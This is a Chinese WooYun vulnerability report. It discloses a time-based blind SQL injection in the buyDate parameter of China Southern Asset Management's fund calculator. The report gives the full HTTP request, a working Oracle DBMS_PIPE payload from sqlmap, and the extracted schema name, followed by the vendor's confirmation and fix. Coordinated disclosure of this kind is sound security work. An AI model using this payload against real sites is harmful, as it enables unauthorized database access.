当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0129399

漏洞标题：南方基金主站时间盲注一枚

相关厂商：南方基金管理有限公司

漏洞作者： jianFen

提交时间：2015-07-26 11:32

修复时间：2015-09-10 23:42

公开时间：2015-09-10 23:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-26： 细节已通知厂商并且等待厂商处理中
2015-07-27： 厂商已经确认，细节仅向厂商公开
2015-08-06： 细节向核心白帽子及相关领域专家公开
2015-08-16： 细节向普通白帽子公开
2015-08-26： 细节向实习白帽子公开
2015-09-10： 细节向公众公开

简要描述：

希望多给些RANK

详细说明：

1.PNG


只要计算器有时间的判断就一个参数buyDate存在oracle时间盲注

2.PNG


POST /CalFundSylServlet HTTP/1.1
Host: www.nffund.com
Proxy-Connection: keep-alive
Content-Length: 166
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.nffund.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.nffund.com/nfjj/calculator/tzsy.jsp
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: uc_visitorid=417020122; JSESSIONID=ZxQ4V0CWRtpL7KpGCjgMpQGytT1QdsBmTmDLPWSPxK2yyGwntNJG!2056481154; Hm_lvt_cea998b3b8fd3029b233c254de0698a2=1435889768; Hm_lpvt_cea998b3b8fd3029b233c254de0698a2=1435889864; Hm_lvt_8f1647749e9291de366666c8e7bf6482=1435890202,1435890450; Hm_lpvt_8f1647749e9291de366666c8e7bf6482=1435890450; Hm_lvt_64932a435c8e1a1810a1673c4ab6e774=1435889228,1435890202,1435890450; Hm_lpvt_64932a435c8e1a1810a1673c4ab6e774=1435890450; Hm_lvt_ff68adc93b9c9fa02aa65c4ac46f95f1=1435890014,1435890017,1435890082,1435891120; Hm_lpvt_ff68adc93b9c9fa02aa65c4ac46f95f1=1435891120
fundcode=202001&subscriptionAmount=11&buyDate=2015-07-02[注入点]&buyNav=1.2941&subscriptionRates=111&bonusFlag=1&redeemDate=2015-07-02&redeemNav=1.2941&redemptionRates=1


sqlmap验证

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
Place: POST
Parameter: buyDate
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: fundcode=202001&subscriptionAmount=11&buyDate=2015-07-02' AND 1726=DBMS_PIPE.RECEIVE_MESSAGE(CHR(74)||CHR(117)||CHR(98)||CHR(70),5) AND 'Kvgi'='Kvgi&buyNav=1.2941&subscriptionRates=111&bonusFlag=1&redeemDate=2015-07-02&redeemNav=1.2941&redemptionRates=1
---
current schema (equivalent to database on Oracle):    'NFJJ'

漏洞证明：

current schema (equivalent to database on Oracle): 'NFJJ'

修复方案：

过滤

版权声明：转载请注明来源 jianFen@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-07-27 23:41

厂商回复：

参数类型检查已加强。谢谢反馈!

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-26 12:15 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:373 | 某安全公司招聘系统运维、渗透测试、安全运...)

    要那么多RANK干嘛，你有300个了嘛

  2. 2015-07-26 12:19 | jianFen ( 普通白帽子 | Rank:530 漏洞数:74 | 避其锋芒，剑走偏锋)

    @0x 80 你800+ 还问我 哈哈